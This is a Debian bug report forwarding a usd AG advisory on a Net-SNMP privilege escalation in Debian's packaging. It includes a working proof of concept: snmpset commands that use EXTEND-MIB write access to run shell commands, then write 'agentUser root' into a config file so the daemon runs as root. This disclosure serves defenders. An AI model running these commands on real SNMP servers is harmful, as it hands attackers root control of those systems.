[Pkg-net-snmp-devel] Bug#965166: snmpd privilege escalation

Bart Van Assche bvanassche at acm.org
Fri Jul 17 05:11:11 BST 2020


Package: snmpd
Version: 5.7.3

The report below comes from USD AG (https://www.usd.de). I am forwarding
this report to the Debian organization because I think the root cause is
not in the upstream Net-SNMP project but instead in how the Debian
project packaged the Net-SNMP software. I see two possible approaches to
fix this next to the solutions already mentioned in the report below:
- Disable the EXTEND MIB. This will be considered as a regression by the
  users of this MIB.
- Do not allow the Debian-snmp user to modify the snmpd configuration.

-------------------------------------------------------------------------
Advisory: Elevation of Privileges in Net-SNMP

Description
===========
On Debian based systems, the *NET-SNMP* daemon runs as a low privileged
user account. However, this protection can be bypassed and it is
possible for this account to elevate permissions to the root user.

Details
=======
Advisory ID: usd20200059
OTRS ID: Ticket#2020070701000015
Product: NET-SNMP
Affected Version: 5.7.3 (probably earlier versions are also affected)
Vulnerability Type: Elevation of Privileges
Security Risk: High
Vendor URL: http://www.net-snmp.org/
Vendor Status: Not fixed
Advisory Status: Open
CVE number: Not requested yet
CVE Link: Not requested yet
First Published: YYYY-MM-DD
Last Update: 2020-07-09

Introduction
============
The Simple Network Management Protocol (SNMP) is a widely used network
protocol for controlling and monitoring network devices.
Since the corresponding service (SNMP daemon) needs access to a lot of
system components and (per default) binds the network port 161, it
usually runs as the root user.

On Debian based systems, the default installation of SNMP sets up a
dedicated low privileged user account (*Debian-snmp*), that is used to
run the SNMP daemon. This adds an additional layer of security, as a
compromise of the SNMP service does not directly allow root
access to the targeted device.


Proof of Concept
================
After installing the SNMP daemon on a Debian based system (e.g. ``apt
install snmpd``), a new user account(*Debian-snmp*) is created by the
installer:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[..SNIP..]
Debian-snmp:x:122:127::/var/lib/snmp:/bin/false
```

The configuration of the snmpd daemon (systemd) shows, that this is the
user account that runs the service:

```
ubuntu at ubuntu:~$ cat /lib/systemd/system/snmpd.service
[Unit]
Description=Simple Network Management Protocol (SNMP) Daemon.
After=network.target
ConditionPathExists=/etc/snmp/snmpd.conf

[Service]
Environment="MIBSDIR=/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf:/usr/share/mibs/site:/usr/share/snmp/mibs:/usr/share/mibs/iana:/usr/share/mibs/ietf:/usr/share/mibs/netsnmp"
Environment="MIBS="
Type=simple
ExecStartPre=/bin/mkdir -p /var/run/agentx
ExecStart=/usr/sbin/snmpd -Lsd -Lf /dev/null -u Debian-snmp -g
Debian-snmp -I -smux,mteTrigger,mteTriggerConf -f
ExecReload=/bin/kill -HUP $MAINPID

[Install]
WantedBy=multi-user.target
```

In the following it is assumed that an attacker has *read-write* access
to the SNMP service and is able to use the *NET-SNMP-EXTEND-MIB* extension.
The following snipped shows how an attacker can abuse the *read-write*
access to execute the operating system command ``id`` on the remote SNMP
server:

```
ubuntu at ubuntu:~$ cat setup.sh
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \
    'nsExtendStatus."example"'  = createAndGo \
    'nsExtendCommand."example"' = /bin/bash \
    'nsExtendArgs."example"'    = '-c id'
ubuntu at ubuntu:~$ bash setup.sh
NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id
ubuntu at ubuntu:~$ snmpwalk -v2c -c secret localhost
NET-SNMP-EXTEND-MIB::nsExtendObjects | grep example
NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id
NET-SNMP-EXTEND-MIB::nsExtendInput."example" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."example" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."example" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."example" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."example" = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."example" = STRING:
uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp)
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."example" = STRING:
uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp)
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."example" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult."example" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."example".1 = STRING:
uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp)
```

As one can see, the command is executed as the *Debian-snmp* user and
the attacker does not gain root access directly. However, during startup
the snmpd daemon loads configuration files from different locations of
the file system. One of them is the folder
``/var/lib/snmp/``, which is the home directory of the *Debian-snmp*
user. Since *Debian-snmp* has write access to the corresponding
directory, it is possible for this user to write a new configuration
file. The following snipped demonstrates, how an attacker can write a
new configuration file by using *read-write* access to the snmp service.
The newly created configuration just contains the option ``agentUser root``.

```
ubuntu at ubuntu:~$ cat priv.sh
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \
    'nsExtendStatus."priv"'  = createAndGo \
    'nsExtendCommand."priv"' = /bin/bash \
    'nsExtendArgs."priv"'    = '-c "echo agentUser root >
/var/lib/snmp/snmpd.local.conf"'
ubuntu at ubuntu:~$ bash priv.sh
NET-SNMP-EXTEND-MIB::nsExtendStatus."priv" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."priv" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendArgs."priv" = STRING: -c \"echo agentUser
root > /var/lib/snmp/snmpd.local.conf\"
ubuntu at ubuntu:~$ snmpwalk -v2c -c secret localhost
NET-SNMP-EXTEND-MIB::nsExtendObjects | grep priv
NET-SNMP-EXTEND-MIB::nsExtendCommand."priv" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendArgs."priv" = STRING: -c \"echo agentUser
root > /var/lib/snmp/snmpd.local.conf\"
NET-SNMP-EXTEND-MIB::nsExtendInput."priv" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."priv" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."priv" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."priv" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."priv" = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus."priv" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."priv" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."priv" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."priv" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult."priv" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."priv".1 = STRING
```

After the snmpd daemon was restarted, it no longer runs as the low
privileged user account, but instead as the root user:

```
ubuntu at ubuntu:~$ cat setup.sh
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \
    'nsExtendStatus."example"'  = createAndGo \
    'nsExtendCommand."example"' = /bin/bash \
    'nsExtendArgs."example"'    = '-c id'
ubuntu at ubuntu:~$ bash setup.sh
NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id
ubuntu at ubuntu:~$ snmpwalk -v2c -c secret localhost
NET-SNMP-EXTEND-MIB::nsExtendObjects | grep example
NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id
NET-SNMP-EXTEND-MIB::nsExtendInput."example" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."example" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."example" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."example" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."example" = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."example" = STRING: uid=0(root)
gid=127(Debian-snmp) groups=127(Debian-snmp)
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."example" = STRING: uid=0(root)
gid=127(Debian-snmp) groups=127(Debian-snmp)
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."example" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult."example" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."example".1 = STRING: uid=0(root)
gid=127(Debian-snmp) groups=127(Debian-snmp)
```

This way, the attacker can execute commands as the root user. This
bypasses the intended account seperation and allows every user with
*read-write* access to the SNMP service (including the *Debian-snmp*
user itself) to escalate privileges to root.

The attack described above requires a restart of the SNMP service.
However, it should be noticed that this can often be enforced by the
attacker. For example, the attacker can use command execution as
*Debian-snmp* to kill the running snmpd instance.
If the service is configured to restart automatically, this is
sufficient to gain root access.


Fix
===
There are different possibilities to fix this issue.

    1. The NET-SNMP service could ignore the configuration files inside
``/var/lib/snmp`` or restrict possible options that can be configured by
these files.
    2. The installer of NET-SNMP could create the configuration files
inside ``/var/lib/snmp`` automatically and set these files read-only.
    3. The systemd service sets the SNMP user on the command line. This
option could also be favored instead of the configuration file. However,
one of the previous two suggestions should be preferred.


References
==========
http://www.net-snmp.org/


Timeline
========
2020-01-01 First contact request via security at vendor.com


Credits
=======
This security vulnerability was found by Tobias Neitzel of usd AG.


About usd Security Advisories
===============================
In order to protect businesses against hackers and criminals, we always
have to keep our skills and knowledge up to date. Thus, security
research is just as important for our work as is building up a security
community to promote the exchange of knowledge. After all, more
security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security
mission. We share the knowledge we gain in our practical work and our
research through training courses and publications. In this context, the
usd HeroLab publishes a series of papers on new
vulnerabilities and current security issues.

Always for the sake of our mission: "more security."

https://www.usd.de


Disclaimer
==========
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible.



More information about the Pkg-net-snmp-devel mailing list